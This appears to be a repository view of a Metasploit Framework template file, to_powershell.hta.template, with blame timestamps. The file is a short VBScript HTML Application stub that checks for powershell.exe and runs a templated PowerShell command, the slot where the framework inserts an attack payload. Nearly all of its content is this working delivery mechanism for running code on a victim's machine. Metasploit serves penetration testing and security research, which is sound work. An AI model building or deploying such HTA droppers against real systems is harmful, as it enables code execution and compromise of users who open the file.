metasploit-framework/data/templates/scripts/to_powershell.hta.template

8 lines
312 B
Plaintext
Raw Normal View History

2015-04-20 22:19:54 +00:00
<script language="VBScript">
Set %{var_shell} = CreateObject("Wscript.Shell")
Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
If %{var_fso}.FileExists(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%") + "..\powershell.exe") Then
%{var_shell}.Run "%{powershell}"
End If
2015-04-20 22:19:54 +00:00
</script>